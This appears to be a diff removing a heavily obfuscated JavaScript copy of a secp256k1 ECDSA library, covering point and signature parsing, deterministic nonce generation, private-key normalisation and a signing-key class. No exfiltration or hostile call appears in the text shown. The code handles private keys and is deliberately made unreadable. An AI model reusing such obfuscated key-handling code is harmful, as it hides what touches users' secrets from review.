- const _0x17b51d = _0x2d60d8(_0x591443, _0xccfe4a) * _0x65d445 % _0x3f7b4b;
- const _0x5e7d49 = _0x2d60d8(_0x17b51d, _0x3b7c0a) * _0x103635 % _0x3f7b4b;
- const _0x25b64c = _0x2d60d8(_0x5e7d49, _0x3eefef);
- if (_0x25b64c * _0x25b64c % _0x3f7b4b !== _0xb41783) {
- throw new Error("Cannot find square root");
- }
- return _0x25b64c;
- }(_0x2da463(_0x20f768));
- const _0x233108 = (_0x3122c4 & _0x3a8f7d) === _0x3a8f7d;
- _0x11744e ? _0x233108 && (_0x3122c4 = _0x214910(-_0x3122c4)) : 1 == (1 & _0xa8f6ed[0]) !== _0x233108 && (_0x3122c4 = _0x214910(-_0x3122c4));
- const _0x1ce359 = new _0x54310d(_0x20f768, _0x3122c4);
- _0x1ce359.assertValidity();
- return _0x1ce359;
- }
- static fromUncompressedHex(_0x341bd3) {
- const _0x595f11 = _0x274ca6(_0x341bd3.subarray(1, _0x1a71bb + 1));
- const _0xfb6a39 = _0x274ca6(_0x341bd3.subarray(_0x1a71bb + 1, 2 * _0x1a71bb + 1));
- const _0x435162 = new _0x54310d(_0x595f11, _0xfb6a39);
- _0x435162.assertValidity();
- return _0x435162;
- }
- static fromHex(_0x5e9b07) {
- const _0x5108ed = _0x378834(_0x5e9b07);
- const _0x5ee7a6 = _0x5108ed.length;
- const _0x490fcf = _0x5108ed[0];
- if (_0x5ee7a6 === _0x1a71bb) {
- return this.fromCompressedHex(_0x5108ed);
- }
- if (_0x5ee7a6 === _0x2207f0 && (2 === _0x490fcf || 3 === _0x490fcf)) {
- return this.fromCompressedHex(_0x5108ed);
- }
- if (_0x5ee7a6 === _0x3c23cf && 4 === _0x490fcf) {
- return this.fromUncompressedHex(_0x5108ed);
- }
- throw new Error("Point.fromHex: received invalid point. Expected 32-" + _0x2207f0 + " compressed bytes or " + _0x3c23cf + " uncompressed bytes, not " + _0x5ee7a6);
- }
- static fromPrivateKey(_0x33c9e9) {
- return _0x54310d.BASE.multiply(_0x53adff(_0x33c9e9));
- }
- static fromSignature(_0xcede83, _0x50d58b, _0x422495) {
- const {
- r: _0x1f252c,
- s: _0x3a761b
- } = function (_0x3303fe) {
- if (_0x3303fe instanceof _0x4a39d1) {
- _0x3303fe.assertValidity();
- return _0x3303fe;
- }
- try {
- return _0x4a39d1.fromDER(_0x3303fe);
- } catch (_0x1f3486) {
- return _0x4a39d1.fromCompact(_0x3303fe);
- }
- }(_0x50d58b);
- if (![0, 1, 2, 3].includes(_0x422495)) {
- throw new Error("Cannot recover: invalid recovery bit");
- }
- const _0x5dd2e2 = _0x14b482(_0x378834(_0xcede83));
- const {
- n: _0x51eb4d
- } = _0x1d7b80;
- const _0x597687 = 2 === _0x422495 || 3 === _0x422495 ? _0x1f252c + _0x51eb4d : _0x1f252c;
- const _0x3b7bd6 = _0xc0164e(_0x597687, _0x51eb4d);
- const _0x654ab7 = _0x214910(-_0x5dd2e2 * _0x3b7bd6, _0x51eb4d);
- const _0x2f7bb0 = _0x214910(_0x3a761b * _0x3b7bd6, _0x51eb4d);
- const _0x58d803 = 1 & _0x422495 ? "03" : "02";
- const _0x4d700f = _0x54310d.fromHex(_0x58d803 + _0x354f06(_0x597687));
- const _0x10374f = _0x54310d.BASE.multiplyAndAddUnsafe(_0x4d700f, _0x654ab7, _0x2f7bb0);
- if (!_0x10374f) {
- throw new Error("Cannot recover signature: point at infinify");
- }
- _0x10374f.assertValidity();
- return _0x10374f;
- }
- toRawBytes(_0x410e85 = false) {
- return _0x16a7a0(this.toHex(_0x410e85));
- }
- toHex(_0x122949 = false) {
- const _0x44d685 = _0x354f06(this.x);
- return _0x122949 ? "" + (this.hasEvenY() ? "02" : "03") + _0x44d685 : "04" + _0x44d685 + _0x354f06(this.y);
- }
- toHexX() {
- return this.toHex(true).slice(2);
- }
- toRawX() {
- return this.toRawBytes(true).slice(1);
- }
- assertValidity() {
- const _0x248fb6 = "Point is not on elliptic curve";
- const {
- x: _0x57a517,
- y: _0x4177b5
- } = this;
- if (!_0x565e39(_0x57a517) || !_0x565e39(_0x4177b5)) {
- throw new Error(_0x248fb6);
- }
- const _0x3a53b1 = _0x214910(_0x4177b5 * _0x4177b5);
- if (_0x214910(_0x3a53b1 - _0x2da463(_0x57a517)) !== _0x536280) {
- throw new Error(_0x248fb6);
- }
- }
- equals(_0x23d52e) {
- return this.x === _0x23d52e.x && this.y === _0x23d52e.y;
- }
- negate() {
- return new _0x54310d(this.x, _0x214910(-this.y));
- }
- double() {
- return _0x4bd687.fromAffine(this).double().toAffine();
- }
- add(_0x536c42) {
- return _0x4bd687.fromAffine(this).add(_0x4bd687.fromAffine(_0x536c42)).toAffine();
- }
- subtract(_0x4383bd) {
- return this.add(_0x4383bd.negate());
- }
- multiply(_0x132057) {
- return _0x4bd687.fromAffine(this).multiply(_0x132057, this).toAffine();
- }
- multiplyAndAddUnsafe(_0x56f9f4, _0x411ae4, _0x5974f3) {
- const _0x13fe86 = _0x4bd687.fromAffine(this);
- const _0x47245f = _0x411ae4 === _0x536280 || _0x411ae4 === _0x3a8f7d || this !== _0x54310d.BASE ? _0x13fe86.multiplyUnsafe(_0x411ae4) : _0x13fe86.multiply(_0x411ae4);
- const _0x3a6793 = _0x4bd687.fromAffine(_0x56f9f4).multiplyUnsafe(_0x5974f3);
- const _0x335a76 = _0x47245f.add(_0x3a6793);
- return _0x335a76.equals(_0x4bd687.ZERO) ? undefined : _0x335a76.toAffine();
- }
- }
- function _0x154924(_0xba3fd0) {
- return Number.parseInt(_0xba3fd0[0], 16) >= 8 ? "00" + _0xba3fd0 : _0xba3fd0;
- }
- function _0x2ab184(_0x5477e7) {
- if (_0x5477e7.length < 2 || 2 !== _0x5477e7[0]) {
- throw new Error("Invalid signature integer tag: " + _0x23c434(_0x5477e7));
- }
- const _0x5c98cc = _0x5477e7[1];
- const _0x3c87f1 = _0x5477e7.subarray(2, _0x5c98cc + 2);
- if (!_0x5c98cc || _0x3c87f1.length !== _0x5c98cc) {
- throw new Error("Invalid signature integer: wrong length");
- }
- if (0 === _0x3c87f1[0] && _0x3c87f1[1] <= 127) {
- throw new Error("Invalid signature integer: trailing length");
- }
- return {
- data: _0x274ca6(_0x3c87f1),
- left: _0x5477e7.subarray(_0x5c98cc + 2)
- };
- }
- _0x54310d.BASE = new _0x54310d(_0x1d7b80.Gx, _0x1d7b80.Gy);
- _0x54310d.ZERO = new _0x54310d(_0x536280, _0x536280);
- class _0x4a39d1 {
- constructor(_0x56fa11, _0x39067a) {
- this.r = _0x56fa11;
- this.s = _0x39067a;
- this.assertValidity();
- }
- static fromCompact(_0x346d3b) {
- const _0x245f72 = _0x346d3b instanceof Uint8Array;
- const _0x2cc760 = "Signature.fromCompact";
- if ("string" != typeof _0x346d3b && !_0x245f72) {
- throw new TypeError(_0x2cc760 + ": Expected string or Uint8Array");
- }
- const _0x5cbbfd = _0x245f72 ? _0x23c434(_0x346d3b) : _0x346d3b;
- if (128 !== _0x5cbbfd.length) {
- throw new Error(_0x2cc760 + ": Expected 64-byte hex");
- }
- return new _0x4a39d1(_0x90d6e2(_0x5cbbfd.slice(0, 64)), _0x90d6e2(_0x5cbbfd.slice(64, 128)));
- }
- static fromDER(_0x565629) {
- const _0xa775be = _0x565629 instanceof Uint8Array;
- if ("string" != typeof _0x565629 && !_0xa775be) {
- throw new TypeError("Signature.fromDER: Expected string or Uint8Array");
- }
- const {
- r: _0x353e40,
- s: _0x16b2bd
- } = function (_0x34a28e) {
- if (_0x34a28e.length < 2 || 48 != _0x34a28e[0]) {
- throw new Error("Invalid signature tag: " + _0x23c434(_0x34a28e));
- }
- if (_0x34a28e[1] !== _0x34a28e.length - 2) {
- throw new Error("Invalid signature: incorrect length");
- }
- const {
- data: _0x51c348,
- left: _0x385b2f
- } = _0x2ab184(_0x34a28e.subarray(2));
- const {
- data: _0x1e39a4,
- left: _0x513616
- } = _0x2ab184(_0x385b2f);
- if (_0x513616.length) {
- throw new Error("Invalid signature: left bytes after parsing: " + _0x23c434(_0x513616));
- }
- return {
- r: _0x51c348,
- s: _0x1e39a4
- };
- }(_0xa775be ? _0x565629 : _0x16a7a0(_0x565629));
- return new _0x4a39d1(_0x353e40, _0x16b2bd);
- }
- static fromHex(_0x41f930) {
- return this.fromDER(_0x41f930);
- }
- assertValidity() {
- const {
- r: _0xa9eff2,
- s: _0x2cf3d1
- } = this;
- if (!_0x1d6204(_0xa9eff2)) {
- throw new Error("Invalid Signature: r must be 0 < r < n");
- }
- if (!_0x1d6204(_0x2cf3d1)) {
- throw new Error("Invalid Signature: s must be 0 < s < n");
- }
- }
- hasHighS() {
- const _0x4b9ec1 = _0x1d7b80.n >> _0x3a8f7d;
- return this.s > _0x4b9ec1;
- }
- normalizeS() {
- return this.hasHighS() ? new _0x4a39d1(this.r, _0x214910(-this.s, _0x1d7b80.n)) : this;
- }
- toDERRawBytes() {
- return _0x16a7a0(this.toDERHex());
- }
- toDERHex() {
- const _0x1342d5 = _0x154924(_0x2f34b9(this.s));
- const _0x2aa23b = _0x154924(_0x2f34b9(this.r));
- const _0x130719 = _0x1342d5.length / 2;
- const _0x14d1d1 = _0x2aa23b.length / 2;
- const _0x4e30af = _0x2f34b9(_0x130719);
- const _0x18df2f = _0x2f34b9(_0x14d1d1);
- return "30" + _0x2f34b9(_0x14d1d1 + _0x130719 + 4) + "02" + _0x18df2f + _0x2aa23b + "02" + _0x4e30af + _0x1342d5;
- }
- toRawBytes() {
- return this.toDERRawBytes();
- }
- toHex() {
- return this.toDERHex();
- }
- toCompactRawBytes() {
- return _0x16a7a0(this.toCompactHex());
- }
- toCompactHex() {
- return _0x354f06(this.r) + _0x354f06(this.s);
- }
- }
- function _0x4de0e3(..._0x1c6b4c) {
- if (!_0x1c6b4c.every(_0x42cf9e => _0x42cf9e instanceof Uint8Array)) {
- throw new Error("Uint8Array list expected");
- }
- if (1 === _0x1c6b4c.length) {
- return _0x1c6b4c[0];
- }
- const _0x31952c = _0x1c6b4c.reduce((_0x200e49, _0x164936) => _0x200e49 + _0x164936.length, 0);
- const _0x429fae = new Uint8Array(_0x31952c);
- for (let _0x21b67d = 0, _0x2588f3 = 0; _0x21b67d < _0x1c6b4c.length; _0x21b67d++) {
- const _0x2522a5 = _0x1c6b4c[_0x21b67d];
- _0x429fae.set(_0x2522a5, _0x2588f3);
- _0x2588f3 += _0x2522a5.length;
- }
- return _0x429fae;
- }
- const _0x2464cb = Array.from({
- length: 256
- }, (_0xc227c5, _0x38ff2a) => _0x38ff2a.toString(16).padStart(2, "0"));
- function _0x23c434(_0x197332) {
- if (!(_0x197332 instanceof Uint8Array)) {
- throw new Error("Expected Uint8Array");
- }
- let _0x1b5569 = "";
- for (let _0x29d083 = 0; _0x29d083 < _0x197332.length; _0x29d083++) {
- _0x1b5569 += _0x2464cb[_0x197332[_0x29d083]];
- }
- return _0x1b5569;
- }
- const _0x50349f = BigInt("0x10000000000000000000000000000000000000000000000000000000000000000");
- function _0x354f06(_0x5531ee) {
- if ("bigint" != typeof _0x5531ee) {
- throw new Error("Expected bigint");
- }
- if (!(_0x536280 <= _0x5531ee && _0x5531ee < _0x50349f)) {
- throw new Error("Expected number 0 <= n < 2^256");
- }
- return _0x5531ee.toString(16).padStart(64, "0");
- }
- function _0x48ee80(_0x1fb0c1) {
- const _0x21a8f4 = _0x16a7a0(_0x354f06(_0x1fb0c1));
- if (32 !== _0x21a8f4.length) {
- throw new Error("Error: expected 32 bytes");
- }
- return _0x21a8f4;
- }
- function _0x2f34b9(_0x264f4e) {
- const _0xc789ac = _0x264f4e.toString(16);
- return 1 & _0xc789ac.length ? "0" + _0xc789ac : _0xc789ac;
- }
- function _0x90d6e2(_0x199d63) {
- if ("string" != typeof _0x199d63) {
- throw new TypeError("hexToNumber: expected string, got " + typeof _0x199d63);
- }
- return BigInt("0x" + _0x199d63);
- }
- function _0x16a7a0(_0xfa0098) {
- if ("string" != typeof _0xfa0098) {
- throw new TypeError("hexToBytes: expected string, got " + typeof _0xfa0098);
- }
- if (_0xfa0098.length % 2) {
- throw new Error("hexToBytes: received invalid unpadded hex" + _0xfa0098.length);
- }
- const _0x24c62b = new Uint8Array(_0xfa0098.length / 2);
- for (let _0x1fcbfe = 0; _0x1fcbfe < _0x24c62b.length; _0x1fcbfe++) {
- const _0x558f38 = 2 * _0x1fcbfe;
- const _0x3a0a8e = _0xfa0098.slice(_0x558f38, _0x558f38 + 2);
- const _0x2fc176 = Number.parseInt(_0x3a0a8e, 16);
- if (Number.isNaN(_0x2fc176) || _0x2fc176 < 0) {
- throw new Error("Invalid byte sequence");
- }
- _0x24c62b[_0x1fcbfe] = _0x2fc176;
- }
- return _0x24c62b;
- }
- function _0x274ca6(_0x50162c) {
- return _0x90d6e2(_0x23c434(_0x50162c));
- }
- function _0x378834(_0x1ee50e) {
- return _0x1ee50e instanceof Uint8Array ? Uint8Array.from(_0x1ee50e) : _0x16a7a0(_0x1ee50e);
- }
- function _0x166465(_0x38fac4) {
- if ("number" == typeof _0x38fac4 && Number.isSafeInteger(_0x38fac4) && _0x38fac4 > 0) {
- return BigInt(_0x38fac4);
- }
- if ("bigint" == typeof _0x38fac4 && _0x1d6204(_0x38fac4)) {
- return _0x38fac4;
- }
- throw new TypeError("Expected valid private scalar: 0 < scalar < curve.n");
- }
- function _0x214910(_0x1bb93a, _0x52f259 = _0x1d7b80.P) {
- const _0x6e2a4e = _0x1bb93a % _0x52f259;
- return _0x6e2a4e >= _0x536280 ? _0x6e2a4e : _0x52f259 + _0x6e2a4e;
- }
- function _0x2d60d8(_0x4efc05, _0x2f4d1e) {
- const {
- P: _0x233968
- } = _0x1d7b80;
- let _0x3971f0 = _0x4efc05;
- for (; _0x2f4d1e-- > _0x536280;) {
- _0x3971f0 *= _0x3971f0;
- _0x3971f0 %= _0x233968;
- }
- return _0x3971f0;
- }
- function _0xc0164e(_0x331b08, _0x3c37aa = _0x1d7b80.P) {
- if (_0x331b08 === _0x536280 || _0x3c37aa <= _0x536280) {
- throw new Error("invert: expected positive integers, got n=" + _0x331b08 + " mod=" + _0x3c37aa);
- }
- let _0x5de865 = _0x214910(_0x331b08, _0x3c37aa);
- let _0x3eb421 = _0x3c37aa;
- let _0x5f4050 = _0x536280;
- let _0x163e50 = _0x3a8f7d;
- let _0x4c70b4 = _0x3a8f7d;
- let _0xaedc80 = _0x536280;
- for (; _0x5de865 !== _0x536280;) {
- const _0x13ff1b = _0x3eb421 / _0x5de865;
- const _0x5bd79d = _0x3eb421 % _0x5de865;
- const _0x3e5416 = _0x5f4050 - _0x4c70b4 * _0x13ff1b;
- const _0x1451b4 = _0x163e50 - _0xaedc80 * _0x13ff1b;
- _0x3eb421 = _0x5de865;
- _0x5de865 = _0x5bd79d;
- _0x5f4050 = _0x4c70b4;
- _0x163e50 = _0xaedc80;
- _0x4c70b4 = _0x3e5416;
- _0xaedc80 = _0x1451b4;
- }
- if (_0x3eb421 !== _0x3a8f7d) {
- throw new Error("invert: does not exist");
- }
- return _0x214910(_0x5f4050, _0x3c37aa);
- }
- function _0x14b482(_0x3f056e, _0x586aec = false) {
- const _0x351c73 = function (_0x4d68db) {
- const _0x22d718 = 8 * _0x4d68db.length - 8 * _0x330e93;
- const _0x893b44 = _0x274ca6(_0x4d68db);
- return _0x22d718 > 0 ? _0x893b44 >> BigInt(_0x22d718) : _0x893b44;
- }(_0x3f056e);
- if (_0x586aec) {
- return _0x351c73;
- }
- const {
- n: _0x5166a8
- } = _0x1d7b80;
- return _0x351c73 >= _0x5166a8 ? _0x351c73 - _0x5166a8 : _0x351c73;
- }
- let _0x459194;
- let _0x129a65;
- class _0x56eb53 {
- constructor(_0x207ad8, _0x9fcdec) {
- if (this.hashLen = _0x207ad8, this.qByteLen = _0x9fcdec, "number" != typeof _0x207ad8 || _0x207ad8 < 2) {
- throw new Error("hashLen must be a number");
- }
- if ("number" != typeof _0x9fcdec || _0x9fcdec < 2) {
- throw new Error("qByteLen must be a number");
- }
- this.v = new Uint8Array(_0x207ad8).fill(1);
- this.k = new Uint8Array(_0x207ad8).fill(0);
- this.counter = 0;
- }
- hmac(..._0x5bc8ae) {
- return _0x104ae7.hmacSha256(this.k, ..._0x5bc8ae);
- }
- hmacSync(..._0x1bd926) {
- return _0x129a65(this.k, ..._0x1bd926);
- }
- checkSync() {
- if ("function" != typeof _0x129a65) {
- throw new _0x2df6e6("hmacSha256Sync needs to be set");
- }
- }
- incr() {
- if (this.counter >= 1000) {
- throw new Error("Tried 1,000 k values for sign(), all were invalid");
- }
- this.counter += 1;
- }
- async reseed(_0x2860dd = new Uint8Array()) {
- this.k = await this.hmac(this.v, Uint8Array.from([0]), _0x2860dd);
- this.v = await this.hmac(this.v);
- 0 !== _0x2860dd.length && (this.k = await this.hmac(this.v, Uint8Array.from([1]), _0x2860dd), this.v = await this.hmac(this.v));
- }
- reseedSync(_0x35e9c4 = new Uint8Array()) {
- this.checkSync();
- this.k = this.hmacSync(this.v, Uint8Array.from([0]), _0x35e9c4);
- this.v = this.hmacSync(this.v);
- 0 !== _0x35e9c4.length && (this.k = this.hmacSync(this.v, Uint8Array.from([1]), _0x35e9c4), this.v = this.hmacSync(this.v));
- }
- async generate() {
- this.incr();
- let _0x2d4975 = 0;
- const _0x53b79d = [];
- for (; _0x2d4975 < this.qByteLen;) {
- this.v = await this.hmac(this.v);
- const _0x5a625c = this.v.slice();
- _0x53b79d.push(_0x5a625c);
- _0x2d4975 += this.v.length;
- }
- return _0x4de0e3(..._0x53b79d);
- }
- generateSync() {
- this.checkSync();
- this.incr();
- let _0xb9209 = 0;
- const _0x37ac0f = [];
- for (; _0xb9209 < this.qByteLen;) {
- this.v = this.hmacSync(this.v);
- const _0x2c993c = this.v.slice();
- _0x37ac0f.push(_0x2c993c);
- _0xb9209 += this.v.length;
- }
- return _0x4de0e3(..._0x37ac0f);
- }
- }
- function _0x1d6204(_0x2a706d) {
- return _0x536280 < _0x2a706d && _0x2a706d < _0x1d7b80.n;
- }
- function _0x565e39(_0x23443b) {
- return _0x536280 < _0x23443b && _0x23443b < _0x1d7b80.P;
- }
- function _0x1deb59(_0x31ee28, _0x40ebf9, _0x200e17, _0x1a3da4 = true) {
- const {
- n: _0x5698c3
- } = _0x1d7b80;
- const _0x82fd61 = _0x14b482(_0x31ee28, true);
- if (!_0x1d6204(_0x82fd61)) {
- return;
- }
- const _0xac8f22 = _0xc0164e(_0x82fd61, _0x5698c3);
- const _0x559fa8 = _0x54310d.BASE.multiply(_0x82fd61);
- const _0x5f0564 = _0x214910(_0x559fa8.x, _0x5698c3);
- if (_0x5f0564 === _0x536280) {
- return;
- }
- const _0x16e2e2 = _0x214910(_0xac8f22 * _0x214910(_0x40ebf9 + _0x200e17 * _0x5f0564, _0x5698c3), _0x5698c3);
- if (_0x16e2e2 === _0x536280) {
- return;
- }
- let _0x4b7f95 = new _0x4a39d1(_0x5f0564, _0x16e2e2);
- let _0x48cef1 = (_0x559fa8.x === _0x4b7f95.r ? 0 : 2) | Number(_0x559fa8.y & _0x3a8f7d);
- _0x1a3da4 && _0x4b7f95.hasHighS() && (_0x4b7f95 = _0x4b7f95.normalizeS(), _0x48cef1 ^= 1);
- return {
- sig: _0x4b7f95,
- recovery: _0x48cef1
- };
- }
- function _0x53adff(_0x407d62) {
- let _0x1bd4f8;
- if ("bigint" == typeof _0x407d62) {
- _0x1bd4f8 = _0x407d62;
- } else {
- if ("number" == typeof _0x407d62 && Number.isSafeInteger(_0x407d62) && _0x407d62 > 0) {
- _0x1bd4f8 = BigInt(_0x407d62);
- } else {
- if ("string" == typeof _0x407d62) {
- if (_0x407d62.length !== 2 * _0x330e93) {
- throw new Error("Expected 32 bytes of private key");
- }
- _0x1bd4f8 = _0x90d6e2(_0x407d62);
- } else {
- if (!(_0x407d62 instanceof Uint8Array)) {
- throw new TypeError("Expected valid private key");
- }
- if (_0x407d62.length !== _0x330e93) {
- throw new Error("Expected 32 bytes of private key");
- }
- _0x1bd4f8 = _0x274ca6(_0x407d62);
- }
- }
- }
- if (!_0x1d6204(_0x1bd4f8)) {
- throw new Error("Expected private key: 0 < key < n");
- }
- return _0x1bd4f8;
- }
- function _0x392232(_0x52231c) {
- const _0x37814f = _0x52231c instanceof Uint8Array;
- const _0x3598a4 = "string" == typeof _0x52231c;
- const _0x17b6c8 = (_0x37814f || _0x3598a4) && _0x52231c.length;
- return _0x37814f ? _0x17b6c8 === _0x2207f0 || _0x17b6c8 === _0x3c23cf : _0x3598a4 ? _0x17b6c8 === 2 * _0x2207f0 || _0x17b6c8 === 2 * _0x3c23cf : _0x52231c instanceof _0x54310d;
- }
- function _0x3fcfc3(_0x572f78) {
- return _0x274ca6(_0x572f78.length > _0x1a71bb ? _0x572f78.slice(0, _0x1a71bb) : _0x572f78);
- }
- function _0x13b8f5(_0x3b745f) {
- const _0x416c52 = _0x3fcfc3(_0x3b745f);
- const _0x2f0787 = _0x214910(_0x416c52, _0x1d7b80.n);
- return _0x10aac9(_0x2f0787 < _0x536280 ? _0x416c52 : _0x2f0787);
- }
- function _0x10aac9(_0x214522) {
- return _0x48ee80(_0x214522);
- }
- _0x54310d.BASE._setWindowSize(8);
- const _0x464140 = {
- node: _0x35c091,
- web: "object" == typeof self && "crypto" in self ? self.crypto : undefined
- };
- const _0x48f09e = {};
- const _0x104ae7 = {
- bytesToHex: _0x23c434,
- hexToBytes: _0x16a7a0,
- concatBytes: _0x4de0e3,
- mod: _0x214910,
- invert: _0xc0164e,
- isValidPrivateKey(_0x5c6896) {
- try {
- _0x53adff(_0x5c6896);
- return true;
- } catch (_0x5babb1) {
- return false;
- }
- },
- _bigintTo32Bytes: _0x48ee80,
- _normalizePrivateKey: _0x53adff,
- hashToPrivateKey: _0x211da9 => {
- _0x211da9 = _0x378834(_0x211da9);
- const _0x55b2f5 = _0x330e93 + 8;
- if (_0x211da9.length < _0x55b2f5 || _0x211da9.length > 1024) {
- throw new Error("Expected valid bytes of private key as per FIPS 186");
- }
- return _0x48ee80(_0x214910(_0x274ca6(_0x211da9), _0x1d7b80.n - _0x3a8f7d) + _0x3a8f7d);
- },
- randomBytes: (_0x1f34d6 = 32) => {
- if (_0x464140.web) {
- return _0x464140.web.getRandomValues(new Uint8Array(_0x1f34d6));
- }
- if (_0x464140.node) {
- const {
- randomBytes: _0x58c427
- } = _0x464140.node;
- return Uint8Array.from(_0x58c427(_0x1f34d6));
- }
- throw new Error("The environment doesn't have randomBytes function");
- },
- randomPrivateKey: () => _0x104ae7.hashToPrivateKey(_0x104ae7.randomBytes(_0x330e93 + 8)),
- precompute(_0x52652e = 8, _0x36b732 = _0x54310d.BASE) {
- const _0x187ef8 = _0x36b732 === _0x54310d.BASE ? _0x36b732 : new _0x54310d(_0x36b732.x, _0x36b732.y);
- _0x187ef8._setWindowSize(_0x52652e);
- _0x187ef8.multiply(_0x3ade47);
- return _0x187ef8;
- },
- sha256: async (..._0x5c1a8b) => {
- if (_0x464140.web) {
- const _0x520286 = await _0x464140.web.subtle.digest("SHA-256", _0x4de0e3(..._0x5c1a8b));
- return new Uint8Array(_0x520286);
- }
- if (_0x464140.node) {
- const {
- createHash: _0x425ca4
- } = _0x464140.node;
- const _0x5e0eab = _0x425ca4("sha256");
- _0x5c1a8b.forEach(_0x3f70e0 => _0x5e0eab.update(_0x3f70e0));
- return Uint8Array.from(_0x5e0eab.digest());
- }
- throw new Error("The environment doesn't have sha256 function");
- },
- hmacSha256: async (_0x3ae169, ..._0x440f81) => {
- if (_0x464140.web) {
- const _0x33067f = await _0x464140.web.subtle.importKey("raw", _0x3ae169, {
- name: "HMAC",
- hash: {
- name: "SHA-256"
- }
- }, false, ["sign"]);
- const _0x1013e2 = _0x4de0e3(..._0x440f81);
- const _0x1a4798 = await _0x464140.web.subtle.sign("HMAC", _0x33067f, _0x1013e2);
- return new Uint8Array(_0x1a4798);
- }
- if (_0x464140.node) {
- const {
- createHmac: _0xa20c42
- } = _0x464140.node;
- const _0x47ed72 = _0xa20c42("sha256", _0x3ae169);
- _0x440f81.forEach(_0x49532d => _0x47ed72.update(_0x49532d));
- return Uint8Array.from(_0x47ed72.digest());
- }
- throw new Error("The environment doesn't have hmac-sha256 function");
- },
- sha256Sync: undefined,
- hmacSha256Sync: undefined,
- taggedHash: async (_0x5aac70, ..._0x48c34d) => {
- let _0xff8a72 = _0x48f09e[_0x5aac70];
- if (undefined === _0xff8a72) {
- const _0x21d401 = await _0x104ae7.sha256(Uint8Array.from(_0x5aac70, _0x297788 => _0x297788.charCodeAt(0)));
- _0xff8a72 = _0x4de0e3(_0x21d401, _0x21d401);
- _0x48f09e[_0x5aac70] = _0xff8a72;
- }
- return _0x104ae7.sha256(_0xff8a72, ..._0x48c34d);
- },
- taggedHashSync: (_0xa32066, ..._0x144230) => {
- if ("function" != typeof _0x459194) {
- throw new _0x2df6e6("sha256Sync is undefined, you need to set it");
- }
- let _0x216a88 = _0x48f09e[_0xa32066];
- if (undefined === _0x216a88) {
- const _0x743bca = _0x459194(Uint8Array.from(_0xa32066, _0x7b93fd => _0x7b93fd.charCodeAt(0)));
- _0x216a88 = _0x4de0e3(_0x743bca, _0x743bca);
- _0x48f09e[_0xa32066] = _0x216a88;
- }
- return _0x459194(_0x216a88, ..._0x144230);
- },
- _JacobianPoint: _0x4bd687
- };
- Object.defineProperties(_0x104ae7, {
- sha256Sync: {
- configurable: false,
- get: () => _0x459194,
- set(_0x1f0408) {
- _0x459194 || (_0x459194 = _0x1f0408);
- }
- },
- hmacSha256Sync: {
- configurable: false,
- get: () => _0x129a65,
- set(_0x7a6611) {
- _0x129a65 || (_0x129a65 = _0x7a6611);
- }
- }
- });
- _0x104ae7.hmacSha256Sync = function (_0x3203f3) {
- for (var _0x578ce2 = arguments.length, _0x34bc57 = new Array(_0x578ce2 > 1 ? _0x578ce2 - 1 : 0), _0x268fc4 = 1; _0x268fc4 < _0x578ce2; _0x268fc4++) {
- _0x34bc57[_0x268fc4 - 1] = arguments[_0x268fc4];
- }
- return _0x2565f8(_0x49fe90("sha256", _0x3203f3, _0x251cd2(_0x34bc57)));
- };
- var _0x54d812 = new WeakMap();
- var _0xda262b = function () {
- function _0x2acf7a(_0x3bad2e) {
- var _0x1f9b8b;
- var _0x21ca79;
- var _0x45ae8f;
- _0x1d998d(this, _0x2acf7a);
- _0x45ae8f = {
- writable: true,
- value: undefined
- };
- (function (_0x54031a, _0x40feea) {
- if (_0x40feea.has(_0x54031a)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- })(_0x1f9b8b = this, _0x21ca79 = _0x54d812);
- _0x21ca79.set(_0x1f9b8b, _0x45ae8f);
- _0x413a2d(32 === _0x1f43f1(_0x3bad2e), "invalid private key", "privateKey", "[REDACTED]");
- _0x207f54(this, _0x54d812, _0x192257(_0x3bad2e));
- }
- _0x561e78(_0x2acf7a, [{
- key: "privateKey",
- get: function () {
- return _0x46b89d(this, _0x54d812);
- }
- }, {
- key: "publicKey",
- get: function () {
- return _0x2acf7a.computePublicKey(_0x46b89d(this, _0x54d812));
- }
- }, {
- key: "compressedPublicKey",
- get: function () {
- return _0x2acf7a.computePublicKey(_0x46b89d(this, _0x54d812), true);
- }
- }, {
- key: "sign",
- value: function (_0x5d5919) {
- _0x413a2d(32 === _0x1f43f1(_0x5d5919), "invalid digest length", "digest", _0x5d5919);
- var _0x19a145 = function (_0x212b38, _0x4de8cf, _0xfd3acc = {}) {
- const {
- seed: _0x12898c,
- m: _0xcf1b84,
- d: _0x3c56ab
- } = function (_0x167a7b, _0x414329, _0x3a7cdd) {
- if (null == _0x167a7b) {
- throw new Error("sign: expected valid message hash, not \"" + _0x167a7b + "\"");
- }
- const _0x1fc52b = _0x378834(_0x167a7b);
- const _0x1e6122 = _0x53adff(_0x414329);
- const _0x3f003c = [_0x10aac9(_0x1e6122), _0x13b8f5(_0x1fc52b)];
- if (null != _0x3a7cdd) {
- true === _0x3a7cdd && (_0x3a7cdd = _0x104ae7.randomBytes(_0x1a71bb));
- const _0x4d9e8c = _0x378834(_0x3a7cdd);
- if (_0x4d9e8c.length !== _0x1a71bb) {
- throw new Error("sign: Expected " + _0x1a71bb + " bytes of extra data");
- }
- _0x3f003c.push(_0x4d9e8c);
- }
- return {
- seed: _0x4de0e3(..._0x3f003c),
- m: _0x3fcfc3(_0x1fc52b),
- d: _0x1e6122
- };
- }(_0x212b38, _0x4de8cf, _0xfd3acc.extraEntropy);
- const _0x148d2a = new _0x56eb53(32, _0x330e93);
- let _0x30da01;
- for (_0x148d2a.reseedSync(_0x12898c); !(_0x30da01 = _0x1deb59(_0x148d2a.generateSync(), _0xcf1b84, _0x3c56ab, _0xfd3acc.canonical));) {
- _0x148d2a.reseedSync();
- }
- return function (_0x45e0e7, _0x56dc60) {
- const {
- sig: _0x7deffe,
- recovery: _0x1c718f
- } = _0x45e0e7;
- const {
- der: _0x130aca,
- recovered: _0x17d57a
- } = Object.assign({
- canonical: true,
- der: true
- }, _0x56dc60);
- const _0x2f0362 = _0x130aca ? _0x7deffe.toDERRawBytes() : _0x7deffe.toCompactRawBytes();
- return _0x17d57a ? [_0x2f0362, _0x1c718f] : _0x2f0362;
- }(_0x30da01, _0xfd3acc);
- }(_0x32958d(_0x5d5919), _0x32958d(_0x46b89d(this, _0x54d812)), {
- recovered: true,
- canonical: true
- });
- var _0x154f71 = _0x19dc48(_0x19a145, 2);
- var _0x5cf037 = _0x154f71[0];
- var _0x565844 = _0x154f71[1];
- var _0xf3d103 = _0x4a39d1.fromHex(_0x5cf037);
- return _0x47e1c0.from({
- r: _0x4fc59d("0x" + _0xf3d103.r.toString(16), 32),
